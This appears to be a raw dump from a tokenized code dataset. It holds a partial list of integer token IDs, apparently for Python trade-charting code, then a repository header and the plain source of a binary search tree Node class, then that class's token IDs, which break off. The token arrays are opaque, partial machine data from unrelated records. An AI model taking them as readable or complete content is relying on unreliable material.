13,
18884,
5825,
29881,
29918,
1761,
353,
1051,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
29889,
5975,
3101,
29961,
1195,
29918,
861,
29901,
3317,
29918,
861,
718,
29871,
29896,
29962,
13,
462,
299,
2378,
353,
7442,
29889,
2378,
29898,
8628,
29881,
29918,
1761,
29897,
13,
18884,
4236,
29918,
9175,
353,
7442,
29889,
13707,
3317,
29898,
299,
2378,
29897,
13,
18884,
1375,
29918,
9175,
353,
7442,
29889,
13707,
1195,
29898,
299,
2378,
29897,
13,
13,
18884,
396,
29871,
30982,
30946,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
30214,
30980,
30594,
31086,
30742,
31320,
30801,
13,
18884,
1121,
353,
313,
1195,
29918,
9175,
29892,
4236,
29918,
9175,
29897,
13,
18884,
1583,
29889,
4230,
29918,
3881,
353,
313,
1195,
29918,
861,
29892,
3317,
29918,
861,
29897,
13,
18884,
1583,
3032,
5975,
29918,
29878,
6916,
29961,
1311,
29889,
4230,
29918,
3881,
29962,
353,
1121,
13,
18884,
396,
1596,
703,
29906,
29901,
613,
1311,
29889,
4230,
29918,
3881,
29892,
2914,
29897,
13,
18884,
736,
10365,
29918,
3881,
29898,
2914,
29897,
13,
13,
4706,
9995,
29871,
30651,
30557,
30573,
31542,
30858,
235,
143,
134,
232,
158,
183,
31462,
30705,
30594,
9995,
13,
13,
4706,
565,
1833,
29918,
3881,
297,
1583,
3032,
5975,
29918,
29878,
6916,
29901,
13,
9651,
396,
29871,
31751,
235,
143,
134,
232,
158,
183,
31290,
31412,
30982,
30946,
31138,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
13,
9651,
396,
29871,
30683,
31050,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
30214,
31086,
30742,
31320,
30801,
13,
9651,
1121,
353,
1583,
3032,
5975,
29918,
29878,
6916,
29961,
4230,
29918,
3881,
29962,
13,
9651,
396,
1596,
703,
29941,
29901,
613,
4230,
29918,
3881,
29892,
2914,
29897,
13,
9651,
736,
10365,
29918,
3881,
29898,
2914,
29897,
13,
13,
4706,
396,
29871,
31751,
235,
143,
134,
232,
158,
183,
31423,
30417,
30982,
30946,
31138,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
13,
4706,
396,
29871,
31594,
8628,
29881,
29918,
1272,
30908,
30374,
31466,
31565,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
13,
4706,
5825,
29881,
29918,
1761,
353,
1051,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
29889,
5975,
3101,
29961,
1195,
29918,
861,
29901,
3317,
29918,
861,
718,
29871,
29896,
29962,
13,
308,
299,
2378,
353,
7442,
29889,
2378,
29898,
8628,
29881,
29918,
1761,
29897,
13,
4706,
4236,
29918,
9175,
353,
7442,
29889,
13707,
3317,
29898,
299,
2378,
29897,
13,
4706,
1375,
29918,
9175,
353,
7442,
29889,
13707,
1195,
29898,
299,
2378,
29897,
13,
13,
4706,
396,
29871,
30683,
31050,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
30214,
31086,
30742,
31320,
30801,
13,
4706,
1121,
353,
313,
1195,
29918,
9175,
29892,
4236,
29918,
9175,
29897,
13,
4706,
1583,
29889,
4230,
29918,
3881,
353,
1833,
29918,
3881,
13,
4706,
1583,
3032,
5975,
29918,
29878,
6916,
29961,
1311,
29889,
4230,
29918,
3881,
29962,
353,
1121,
13,
4706,
396,
1596,
703,
29946,
29901,
613,
1311,
29889,
4230,
29918,
3881,
29892,
2914,
29897,
13,
4706,
736,
10365,
29918,
3881,
29898,
2914,
29897,
13,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
396,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
297,
1583,
29889,
8628,
29881,
29918,
1272,
29901,
13,
9651,
2923,
29892,
311,
29874,
29892,
8628,
29881,
353,
1583,
29889,
8628,
29881,
29918,
1272,
29961,
861,
29962,
13,
9651,
3838,
353,
518,
13,
18884,
285,
29908,
12765,
426,
12765,
29901,
29889,
29941,
29888,
29913,
3284,
9162,
13,
18884,
285,
29908,
311,
29874,
426,
311,
29874,
29901,
29889,
29941,
29888,
29913,
3284,
9162,
13,
18884,
285,
29908,
8628,
29881,
426,
8628,
29881,
29901,
29889,
29941,
29888,
5038,
13,
18884,
4514,
13,
9651,
1426,
353,
6634,
29876,
1642,
7122,
29898,
9303,
29897,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
12765,
448,
320,
299,
11248,
448,
320,
29876,
8628,
29881,
448,
29908,
13,
13,
4706,
736,
1426,
13,
13,
13,
1990,
27226,
2001,
29898,
4421,
2620,
20867,
2001,
29892,
1252,
14732,
2001,
1125,
13,
1678,
9995,
13,
268,
30494,
31398,
31166,
234,
190,
155,
30861,
30636,
30631,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2522,
2620,
20867,
2001,
17255,
2344,
12035,
1311,
29897,
13,
4706,
396,
1222,
14732,
2001,
17255,
2344,
12035,
1311,
29892,
12847,
29897,
13,
4706,
396,
2428,
29898,
5323,
311,
2001,
29892,
1311,
467,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
4706,
2428,
29898,
1252,
14732,
2001,
29892,
1311,
467,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
13,
4706,
1583,
29889,
9539,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29906,
29945,
29945,
511,
2920,
29922,
29906,
29897,
13,
13,
4706,
1583,
29889,
509,
3076,
584,
360,
919,
29961,
524,
29892,
21533,
29961,
710,
29892,
5323,
311,
1469,
5262,
353,
6571,
396,
426,
861,
26254,
3018,
311,
333,
29901,
3018,
311,
930,
13,
13,
1678,
822,
788,
29918,
509,
3076,
29898,
1311,
29892,
509,
3076,
29901,
1293,
29961,
5323,
311,
1469,
29962,
1125,
13,
4706,
9995,
29871,
232,
165,
161,
30666,
30494,
31398,
31166,
31025,
30746,
30780,
5323,
311,
2001,
9995,
13,
4706,
363,
11302,
297,
534,
3076,
29901,
13,
9651,
1583,
29889,
1202,
29918,
3018,
311,
29898,
3018,
311,
29897,
13,
13,
4706,
1583,
29889,
842,
29918,
1557,
2620,
29918,
1272,
580,
13,
4706,
1583,
29889,
5504,
580,
13,
13,
1678,
822,
788,
29918,
3018,
311,
29898,
1311,
29892,
3018,
311,
29901,
5323,
311,
1469,
29892,
4012,
29901,
11227,
29922,
8824,
1125,
13,
4706,
9995,
29871,
232,
165,
161,
30666,
30287,
30502,
30494,
31398,
31166,
30780,
5323,
311,
2001,
9995,
13,
4706,
396,
29871,
30810,
30755,
30785,
30406,
24244,
29922,
5574,
30214,
30392,
235,
131,
134,
235,
156,
148,
30780,
31195,
234,
158,
155,
30494,
31398,
232,
193,
131,
232,
193,
131,
30910,
30486,
30505,
30878,
30374,
30210,
1646,
30755,
30214,
30682,
30651,
30666,
232,
194,
174,
233,
147,
159,
31836,
31859,
30898,
13,
4706,
2413,
353,
8170,
287,
21533,
29898,
24582,
29898,
1311,
3032,
12847,
3032,
12673,
29918,
2248,
29918,
1958,
29889,
7076,
3285,
1989,
353,
14013,
260,
29901,
29873,
29961,
29900,
1402,
24244,
29922,
5574,
876,
13,
4706,
22645,
353,
1583,
3032,
12847,
29889,
657,
29918,
2798,
580,
448,
29871,
29896,
13,
4706,
363,
11636,
29892,
861,
297,
2413,
29889,
7076,
7295,
13,
9651,
396,
1596,
29898,
29888,
29908,
6008,
3790,
6008,
1012,
593,
15464,
29889,
12673,
426,
3018,
311,
29889,
12673,
27195,
13,
9651,
11636,
29896,
353,
5868,
1177,
29909,
29918,
29911,
29999,
29889,
2997,
675,
29898,
12673,
29889,
17743,
457,
29898,
6008,
29889,
1256,
3285,
6008,
29889,
2230,
22130,
13,
9651,
565,
11636,
29896,
5277,
11302,
29889,
12673,
29901,
13,
18884,
396,
1596,
29898,
29888,
29908,
31478,
6008,
3790,
6008,
1118,
6008,
29896,
3790,
6008,
29896,
1118,
6008,
29906,
3790,
3018,
311,
29889,
12673,
29913,
474,
29916,
3790,
861,
29913,
31472,
1159,
13,
18884,
22645,
353,
474,
29916,
13,
18884,
2867,
13,
13,
4706,
396,
29871,
31368,
31474,
30383,
30287,
30502,
1646,
31117,
31016,
30682,
30815,
30910,
30486,
30923,
30502,
30494,
31398,
31166,
13,
4706,
565,
22645,
297,
1583,
29889,
509,
3076,
29901,
13,
9651,
1583,
29889,
509,
3076,
29961,
13140,
3816,
3018,
311,
29889,
3018,
311,
333,
29962,
353,
11302,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
509,
3076,
29961,
13140,
29962,
353,
426,
3018,
311,
29889,
3018,
311,
333,
29901,
3018,
311,
29913,
13,
13,
4706,
565,
4216,
29901,
13,
9651,
1583,
29889,
842,
29918,
1557,
2620,
29918,
1272,
580,
13,
9651,
1583,
29889,
5504,
580,
13,
13,
4706,
396,
1596,
29898,
29888,
29908,
1202,
29918,
3018,
311,
22645,
3790,
13140,
29913,
11302,
3790,
3018,
311,
27195,
13,
13,
1678,
822,
731,
29918,
1557,
2620,
29918,
1272,
29898,
1311,
1125,
13,
4706,
9995,
29871,
233,
141,
141,
30494,
31398,
31166,
31025,
30746,
234,
190,
155,
31072,
30780,
4421,
2620,
20867,
2001,
30429,
9995,
13,
4706,
14801,
29918,
14538,
353,
5159,
13,
4706,
363,
474,
29916,
297,
1583,
29889,
509,
3076,
29901,
13,
9651,
363,
11302,
297,
1583,
29889,
509,
3076,
29961,
861,
1822,
5975,
7295,
13,
18884,
14801,
353,
426,
13,
462,
1678,
376,
1066,
29908,
584,
313,
861,
29892,
11302,
29889,
9175,
511,
13,
462,
1678,
376,
1272,
1115,
29871,
29896,
29892,
13,
462,
1678,
376,
2311,
1115,
29871,
29896,
29946,
29892,
13,
462,
1678,
376,
2238,
1115,
23822,
29889,
11256,
29925,
264,
3552,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
8243,
13,
18884,
500,
13,
13,
18884,
565,
11302,
29889,
20845,
1275,
360,
8684,
29889,
29931,
20614,
29901,
13,
462,
1678,
14801,
29918,
18098,
353,
376,
29873,
29896,
29908,
259,
396,
5020,
16578,
13,
18884,
1683,
29901,
13,
462,
1678,
14801,
29918,
18098,
353,
376,
29873,
29908,
1678,
396,
9943,
16578,
13,
13,
18884,
565,
11302,
29889,
10289,
1275,
5947,
842,
29889,
4590,
1430,
29901,
13,
462,
1678,
14801,
29918,
1182,
1878,
353,
23822,
29889,
11256,
27680,
3552,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
876,
259,
396,
612,
4743,
13,
18884,
1683,
29901,
13,
462,
1678,
14801,
29918,
1182,
1878,
353,
23822,
29889,
11256,
27680,
3552,
29900,
29892,
29871,
29900,
29892,
29871,
29906,
29945,
29945,
876,
268,
396,
10924,
13,
13,
18884,
14801,
3366,
18098,
3108,
353,
14801,
29918,
18098,
13,
18884,
14801,
3366,
1182,
1878,
3108,
353,
14801,
29918,
1182,
1878,
13,
18884,
14801,
29918,
14538,
29889,
4397,
29898,
1557,
2620,
29897,
13,
13,
4706,
1583,
29889,
842,
1469,
29898,
1557,
2620,
29918,
14538,
29897,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
297,
1583,
29889,
509,
3076,
29901,
13,
9651,
1426,
353,
376,
30494,
31398,
30383,
29908,
13,
9651,
363,
11302,
333,
29892,
3018,
311,
297,
1583,
29889,
509,
3076,
29961,
861,
1822,
7076,
7295,
13,
18884,
396,
27226,
1469,
13,
18884,
1426,
4619,
285,
26732,
29876,
29912,
3018,
311,
29889,
9175,
1157,
3018,
311,
29889,
20845,
29889,
1767,
1157,
3018,
311,
29889,
10289,
29889,
1767,
1157,
3018,
311,
29889,
24623,
29913,
30880,
29908,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
30494,
31398,
30383,
29899,
29908,
13,
13,
4706,
736,
1426,
13,
13,
13,
1990,
8170,
2001,
29898,
4421,
2620,
20867,
2001,
29892,
1252,
14732,
2001,
1125,
13,
1678,
9995,
13,
268,
232,
170,
151,
233,
140,
155,
31166,
234,
190,
155,
30861,
30636,
30631,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2522,
2620,
20867,
2001,
17255,
2344,
12035,
1311,
29897,
13,
4706,
2428,
29898,
1252,
14732,
2001,
29892,
1311,
467,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
20488,
584,
360,
919,
29961,
524,
29892,
21533,
29961,
710,
29892,
7514,
5262,
353,
6571,
396,
426,
861,
26254,
2098,
333,
29901,
2098,
930,
13,
13,
1678,
822,
788,
29918,
20488,
29898,
1311,
29892,
20488,
29901,
1293,
29961,
7514,
1469,
29962,
1125,
13,
4706,
9995,
29871,
232,
165,
161,
30666,
232,
170,
151,
233,
140,
155,
31166,
31025,
30746,
30780,
7514,
2001,
9995,
13,
4706,
363,
1797,
297,
11299,
29901,
13,
9651,
565,
1797,
29889,
12673,
29901,
13,
18884,
1583,
29889,
1202,
29918,
2098,
29898,
2098,
29897,
13,
13,
4706,
1583,
29889,
842,
29918,
1557,
2620,
29918,
1272,
580,
13,
4706,
1583,
29889,
5504,
580,
13,
13,
1678,
822,
788,
29918,
2098,
29898,
1311,
29892,
2098,
29901,
7514,
1469,
29892,
4012,
29901,
11227,
29922,
8824,
1125,
13,
4706,
9995,
29871,
232,
165,
161,
30666,
30287,
30502,
232,
170,
151,
233,
140,
155,
31166,
30780,
7514,
2001,
9995,
13,
4706,
396,
29871,
30810,
30755,
30785,
30406,
24244,
29922,
5574,
30214,
30392,
235,
131,
134,
235,
156,
148,
30780,
31195,
234,
158,
155,
30494,
31398,
232,
193,
131,
232,
193,
131,
30910,
30486,
30505,
30878,
30374,
30210,
1646,
30755,
30214,
30682,
30651,
30666,
232,
194,
174,
233,
147,
159,
31836,
31859,
30898,
13,
13,
4706,
2413,
353,
8170,
287,
21533,
29898,
24582,
29898,
1311,
3032,
12847,
3032,
12673,
29918,
2248,
29918,
1958,
29889,
7076,
3285,
1989,
353,
14013,
260,
29901,
29873,
29961,
29900,
1402,
24244,
29922,
5574,
876,
13,
4706,
22645,
353,
1583,
3032,
12847,
29889,
657,
29918,
2798,
580,
448,
29871,
29896,
13,
4706,
363,
11636,
29892,
861,
297,
2413,
29889,
7076,
7295,
13,
9651,
396,
1596,
29898,
29888,
29908,
6008,
3790,
6008,
1012,
593,
15464,
29889,
12673,
426,
3018,
311,
29889,
12673,
27195,
13,
9651,
11636,
29896,
353,
5868,
1177,
29909,
29918,
29911,
29999,
29889,
2997,
675,
29898,
12673,
29889,
17743,
457,
29898,
6008,
29889,
1256,
3285,
6008,
29889,
2230,
22130,
13,
9651,
565,
11636,
29896,
5277,
1797,
29889,
12673,
29901,
13,
18884,
396,
1596,
29898,
29888,
29908,
31478,
6008,
3790,
6008,
1118,
6008,
29896,
3790,
6008,
29896,
1118,
6008,
29906,
3790,
2098,
29889,
12673,
29913,
474,
29916,
3790,
861,
29913,
31472,
1159,
13,
18884,
22645,
353,
474,
29916,
13,
18884,
2867,
13,
13,
4706,
396,
29871,
31368,
31474,
30383,
30287,
30502,
1646,
31117,
31016,
30682,
30815,
30910,
30486,
30923,
30502,
232,
170,
151,
233,
140,
155,
31166,
13,
4706,
565,
22645,
297,
1583,
29889,
20488,
29901,
13,
9651,
1583,
29889,
20488,
29961,
13140,
3816,
2098,
29889,
2098,
333,
29962,
353,
1797,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
20488,
29961,
13140,
29962,
353,
426,
2098,
29889,
2098,
333,
29901,
2098,
29913,
13,
13,
4706,
565,
4216,
29901,
13,
9651,
1583,
29889,
842,
29918,
1557,
2620,
29918,
1272,
580,
13,
9651,
1583,
29889,
5504,
580,
13,
13,
1678,
822,
731,
29918,
1557,
2620,
29918,
1272,
29898,
1311,
1125,
13,
4706,
9995,
29871,
233,
141,
141,
232,
170,
151,
233,
140,
155,
31166,
31025,
30746,
234,
190,
155,
31072,
30780,
4421,
2620,
20867,
2001,
30429,
9995,
13,
4706,
14801,
29918,
14538,
353,
5159,
13,
4706,
363,
474,
29916,
297,
1583,
29889,
20488,
29901,
13,
9651,
19604,
29892,
9812,
342,
29922,
1311,
29889,
657,
29918,
29891,
29918,
3881,
580,
13,
9651,
396,
1596,
29898,
29888,
29908,
3881,
3790,
677,
342,
29892,
9812,
342,
27195,
13,
9651,
363,
1797,
297,
1583,
29889,
20488,
29961,
861,
1822,
5975,
7295,
13,
18884,
396,
29871,
31548,
30687,
232,
170,
151,
233,
140,
155,
233,
141,
168,
231,
190,
186,
31480,
30544,
31542,
30858,
235,
143,
134,
232,
158,
183,
30210,
31658,
31596,
13,
18884,
565,
1797,
29889,
9175,
29958,
9812,
342,
29901,
13,
462,
1678,
1510,
29918,
9175,
353,
9939,
448,
29871,
29955,
13,
18884,
25342,
1797,
29889,
9175,
29966,
677,
342,
29901,
13,
462,
1678,
1510,
29918,
9175,
353,
19604,
718,
29871,
29955,
13,
18884,
1683,
29901,
13,
462,
1678,
1510,
29918,
9175,
353,
1797,
29889,
9175,
13,
13,
18884,
14801,
353,
426,
13,
462,
1678,
376,
1066,
29908,
584,
313,
861,
29892,
1510,
29918,
9175,
511,
13,
462,
1678,
376,
1272,
1115,
29871,
29896,
29892,
13,
462,
1678,
376,
2311,
1115,
29871,
29896,
29946,
29892,
13,
462,
1678,
376,
2238,
1115,
23822,
29889,
11256,
29925,
264,
3552,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
8243,
13,
18884,
500,
13,
13,
18884,
565,
1797,
29889,
20845,
1275,
360,
8684,
29889,
29931,
20614,
29901,
13,
462,
1678,
14801,
29918,
18098,
353,
376,
29873,
29896,
29908,
259,
396,
5020,
16578,
13,
18884,
1683,
29901,
13,
462,
1678,
14801,
29918,
18098,
353,
376,
29873,
29908,
1678,
396,
9943,
16578,
13,
13,
18884,
565,
1797,
29889,
10289,
1275,
5947,
842,
29889,
4590,
1430,
29901,
13,
462,
1678,
14801,
29918,
1182,
1878,
353,
23822,
29889,
11256,
27680,
3552,
29900,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
876,
259,
396,
612,
4743,
13,
18884,
1683,
29901,
13,
462,
1678,
14801,
29918,
1182,
1878,
353,
23822,
29889,
11256,
27680,
3552,
29896,
29906,
29947,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29900,
876,
268,
396,
10924,
13,
13,
18884,
14801,
3366,
18098,
3108,
353,
14801,
29918,
18098,
13,
18884,
14801,
3366,
1182,
1878,
3108,
353,
14801,
29918,
1182,
1878,
13,
18884,
14801,
29918,
14538,
29889,
4397,
29898,
1557,
2620,
29897,
13,
13,
4706,
1583,
29889,
842,
1469,
29898,
1557,
2620,
29918,
14538,
29897,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
297,
1583,
29889,
20488,
29901,
13,
9651,
1426,
353,
376,
232,
170,
151,
233,
140,
155,
30383,
29908,
13,
9651,
363,
1797,
333,
29892,
2098,
297,
1583,
29889,
20488,
29961,
861,
1822,
7076,
7295,
13,
18884,
396,
8170,
1469,
13,
18884,
1426,
4619,
285,
26732,
29876,
29912,
2098,
29889,
9175,
1157,
2098,
29889,
20845,
29889,
1767,
1157,
2098,
29889,
10289,
29889,
1767,
1157,
2098,
29889,
24623,
29913,
30880,
29908,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
232,
170,
151,
233,
140,
155,
30383,
29899,
29908,
13,
13,
13,
4706,
736,
1426,
13,
2
] |
BinaryTree/Node.py | Pedro29152/binary-search-tree-python | 0 | 23994 | <gh_stars>0
class Node():
def __init__(self, id: int, value = None, right: 'Node' = None, left: 'Node' = None):
self.id = id
self.value = value
self.right = right
self.left = left
self.parent: 'Node' = None
def add(self, node: 'Node'):
if not node:
raise ValueError('node value invalid')
if node.id == self.id:
raise ValueError('The id sent is alredy on the tree')
if node.id > self.id:
if not self.right:
node.parent = self
self.right = node
else:
self.right.add(node)
if node.id < self.id:
if not self.left:
node.parent = self
self.left = node
else:
self.left.add(node)
def get_size(self):
size_l = self.left.get_size() if self.left else 0
size_r = self.right.get_size() if self.right else 0
return 1 + size_l + size_r
def get_height(self):
h_l = self.left.get_height() if self.left else 0
h_r = self.right.get_height() if self.right else 0
if h_r > h_l:
return 1 + h_r
return 1 + h_l
def get_node(self, id: int):
if self.id == id:
return self
if id > self.id:
if self.right:
return self.right.get_node(id)
if id < self.id:
if self.left:
return self.left.get_node(id)
return None
def get_min_node(self):
if not self.left:
return self
return self.left.get_min_node()
def get_max_node(self):
if not self.right:
return self
return self.right.get_max_node()
def get_sorted_list(self, max_size: int=None, ascending: bool=True):
if max_size == None:
return self.__get_list(ascending)
return self.__get_list_by_size(max_size, ascending)
def __get_list(self, ascending: bool):
list_e = self.left.__get_list(ascending) if self.left else []
list_d = self.right.__get_list(ascending) if self.right else []
if ascending:
return list_e + [self.id] + list_d
return list_d + [self.id] + list_e
def __get_list_by_size(self, max_size: int, ascending: bool):
if ascending:
st = 'left'
fi = 'right'
else:
st = 'right'
fi = 'left'
list_st = self[st].__get_list_by_size(max_size=max_size, ascending=ascending) if self[st] else []
if max_size <= len(list_st):
return list_st
elif max_size <= len(list_st) + 1:
return list_st + [self.id]
else:
curr_size = len(list_st) + 1
list_fi = self[fi].__get_list_by_size(max_size=max_size-curr_size, ascending=ascending) if self[fi] else []
return list_st + [self.id] + list_fi
def __getitem__(self, name):
return getattr(self, name)
def __setitem__(self, name, value):
return setattr(self, name, value)
def __str__(self):
str_e = self.left.__str__() if self.left else None
str_d = self.right.__str__() if self.right else None
if not (str_e or str_d):
return f'[({self.id})]'
return f'[({self.id}) {str_e}, {str_d}]'
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
1990,
9071,
7295,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1178,
29901,
938,
29892,
995,
353,
6213,
29892,
1492,
29901,
525,
4247,
29915,
353,
6213,
29892,
2175,
29901,
525,
4247,
29915,
353,
6213,
1125,
13,
4706,
1583,
29889,
333,
353,
1178,
13,
4706,
1583,
29889,
1767,
353,
995,
13,
4706,
1583,
29889,
1266,
353,
1492,
13,
4706,
1583,
29889,
1563,
353,
2175,
13,
4706,
1583,
29889,
3560,
29901,
525,
4247,
29915,
353,
6213,
13,
259,
13,
1678,
822,
788,
29898,
1311,
29892,
2943,
29901,
525,
4247,
29374,
13,
4706,
565,
451,
2943,
29901,
13,
9651,
12020,
7865,
2392,
877,
3177,
995,
8340,
1495,
13,
13,
4706,
565,
2943,
29889,
333,
1275,
1583,
29889,
333,
29901,
13,
9651,
12020,
7865,
2392,
877,
1576,
1178,
2665,
338,
394,
1127,
29891,
373,
278,
5447,
1495,
13,
13,
4706,
565,
2943,
29889,
333,
1405,
1583,
29889,
333,
29901,
13,
9651,
565,
451,
1583,
29889,
1266,
29901,
13,
18884,
2943,
29889,
3560,
353,
1583,
13,
18884,
1583,
29889,
1266,
353,
2943,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
1266,
29889,
1202,
29898,
3177,
29897,
13,
4706,
565,
2943,
29889,
333,
529,
1583,
29889,
333,
29901,
13,
9651,
565,
451,
1583,
29889,
1563,
29901,
13,
18884,
2943,
29889,
3560,
353,
1583,
13,
18884,
1583,
29889,
1563,
353,
2943,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
1563,
29889,
1202,
29898,
3177,
29897,
13,
13,
1678,
822,
679,
29918,
2311,
29898,
1311,
1125,
13,
4706,
2159,
29918,
29880,
353,
1583,
29889,
1563,
29889,
657,
29918,
2311,
580,
565,
1583,
29889,
1563,
1683,
29871,
29900,
13,
4706,
2159,
29918,
29878,
353,
1583,
29889,
1266,
29889,
657,
29918,
2311,
580,
565,
1583,
29889,
1266,
1683,
29871,
29900,
13,
13,
4706,
736,
29871,
29896,
718,
2159,
29918,
29880,
718,
2159,
29918,
29878,
13,
13,
1678,
822,
679,
29918,
3545,
29898,
1311,
1125,
13,
4706,
298,
29918,
29880,
353,
1583,
29889,
1563,
29889,
657,
29918,
3545,
580,
565,
1583,
29889,
1563,
1683,
29871,
29900,
13,
4706,
298,
29918,
29878,
353,
1583,
29889,
1266,
29889,
657,
29918,
3545,
580,
565,
1583,
29889,
1266,
1683,
29871,
29900,
13,
13,
4706,
565,
298,
29918,
29878,
1405,
298,
29918,
29880,
29901,
13,
9651,
736,
29871,
29896,
718,
298,
29918,
29878,
13,
4706,
736,
29871,
29896,
718,
298,
29918,
29880,
13,
13,
1678,
822,
679,
29918,
3177,
29898,
1311,
29892,
1178,
29901,
938,
1125,
13,
4706,
565,
1583,
29889,
333,
1275,
1178,
29901,
13,
9651,
736,
1583,
13,
13,
4706,
565,
1178,
1405,
1583,
29889,
333,
29901,
13,
9651,
565,
1583,
29889,
1266,
29901,
13,
18884,
736,
1583,
29889,
1266,
29889,
657,
29918,
3177,
29898,
333,
29897,
13,
13,
4706,
565,
1178,
529,
1583,
29889,
333,
29901,
13,
9651,
565,
1583,
29889,
1563,
29901,
13,
18884,
736,
1583,
29889,
1563,
29889,
657,
29918,
3177,
29898,
333,
29897,
13,
308,
13,
4706,
736,
6213,
13,
13,
1678,
822,
679,
29918,
1195,
29918,
3177,
29898,
1311,
1125,
13,
4706,
565,
451,
1583,
29889,
1563,
29901,
13,
9651,
736,
1583,
13,
4706,
736,
1583,
29889,
1563,
29889,
657,
29918,
1195,
29918,
3177,
580,
13,
13,
1678,
822,
679,
29918,
3317,
29918,
3177,
29898,
1311,
1125,
13,
4706,
565,
451,
1583,
29889,
1266,
29901,
13,
9651,
736,
1583,
13,
4706,
736,
1583,
29889,
1266,
29889,
657,
29918,
3317,
29918,
3177,
580,
13,
13,
1678,
822,
679,
29918,
24582,
29918,
1761,
29898,
1311,
29892,
4236,
29918,
2311,
29901,
938,
29922,
8516,
29892,
12066,
2548,
29901,
6120,
29922,
5574,
1125,
13,
4706,
565,
4236,
29918,
2311,
1275,
6213,
29901,
13,
9651,
736,
1583,
17255,
657,
29918,
1761,
29898,
6151,
2548,
29897,
13,
4706,
736,
1583,
17255,
657,
29918,
1761,
29918,
1609,
29918,
2311,
29898,
3317,
29918,
2311,
29892,
12066,
2548,
29897,
13,
13,
1678,
822,
4770,
657,
29918,
1761,
29898,
1311,
29892,
12066,
2548,
29901,
6120,
1125,
13,
4706,
1051,
29918,
29872,
353,
1583,
29889,
1563,
17255,
657,
29918,
1761,
29898,
6151,
2548,
29897,
565,
1583,
29889,
1563,
1683,
5159,
13,
4706,
1051,
29918,
29881,
353,
1583,
29889,
1266,
17255,
657,
29918,
1761,
29898,
6151,
2548,
29897,
565,
1583,
29889,
1266,
1683,
5159,
13,
308,
13,
4706,
565,
12066,
2548,
29901,
13,
9651,
736,
1051,
29918,
29872,
718,
518,
1311,
29889,
333,
29962,
718,
1051,
29918,
29881,
13,
4706,
736,
1051,
29918,
29881,
718,
518,
1311,
29889,
333,
29962,
718,
1051,
29918,
29872,
13,
13,
1678,
822,
4770,
657,
29918,
1761,
29918,
1609,
29918,
2311,
29898,
1311,
29892,
4236,
29918,
2311,
29901,
938,
29892,
12066,
2548,
29901,
6120,
1125,
13,
4706,
565,
12066,
2548,
29901,
13,
9651,
380,
353,
525,
1563,
29915,
13,
9651,
5713,
353,
525,
1266,
29915,
13,
4706,
1683,
29901,
13,
9651,
380,
353,
525,
1266,
29915,
13,
9651,
5713,
353,
525,
1563,
29915,
13,
308,
13,
4706,
1051,
29918,
303,
353,
1583,
29961,
303,
1822,
1649,
657,
29918,
1761,
29918,
1609,
29918,
2311,
29898,
3317,
29918,
2311,
29922,
3317,
29918,
2311,
29892,
12066,
2548,
29922,
6151,
2548,
29897,
565,
1583,
29961,
303,
29962,
1683,
5159,
13,
4706,
565,
4236,
29918,
2311,
5277,
7431,
29898,
1761,
29918,
303,
1125,
13,
9651,
736,
1051,
29918,
303,
13,
4706,
25342,
4236,
29918,
2311,
5277,
7431,
29898,
1761,
29918,
303,
29897,
718,
29871,
29896,
29901,
13,
9651,
736,
1051,
29918,
303,
718,
518,
1311,
29889,
333,
29962,
13,
4706,
1683,
29901,
13,
9651,
16256,
29918,
2311,
353,
7431,
29898,
1761,
29918,
303,
29897,
718,
29871,
29896,
13,
9651,
1051,
29918,
7241,
353,
1583,
29961,
7241,
1822,
1649,
657,
29918,
1761,
29918,
1609,
29918,
2311,
29898,
3317,
29918,
2311,
29922,
3317,
29918,
2311,
29899,
21962,
29918,
2311,
29892,
12066,
2548,
29922,
6151,
2548,
29897,
565,
1583,
29961,
7241,
29962,
1683,
5159,
13,
9651,
736,
1051,
29918,
303,
718,
518,
1311,
29889,
333,
29962,
718,
